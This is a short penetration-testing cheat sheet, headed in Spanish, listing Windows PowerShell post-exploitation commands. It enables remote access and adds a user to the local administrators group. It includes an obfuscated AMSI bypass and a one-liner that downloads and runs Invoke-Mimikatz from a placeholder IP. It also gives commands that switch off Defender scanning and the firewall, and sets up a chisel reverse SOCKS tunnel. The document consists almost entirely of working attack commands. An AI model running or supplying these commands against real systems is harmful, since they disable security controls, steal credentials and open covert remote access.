2.1. Habilitar PS-Remoting
Powershell -ep bypass Enable-PSRemoting -force
reg add "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
net localgroup Administrators <Domain\\USER> /add
2.3. Evasión de la seguridad
#Current Language Mode
$ExecutionContext.SessionState.LanguageMode
#Execution Policy Bypass
powershell –ExecutionPolicy bypass
powershell –c <cmd>
powershell –encodedcommand $env:PSExecutionPolicyPreference="bypass"
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
Import-Module .\\PowerView.ps1
. .\\PowerUp.ps1
powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('<http://IP/Invoke-Mimikatz.ps1>')"
2.5. Parar medidas de seguridad
Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
Set-MpPreference -DisableIOAVProtection $true
#Disable AMSI
Set-MpPreference -DisableScriptScanning 1
netsh firewall set opmode disable
netsh Advfirewall set allprofiles state off
./chisel server -p 80 --reverse
.\\Chisel.exe client <Your_IP>:80 R:1080:socks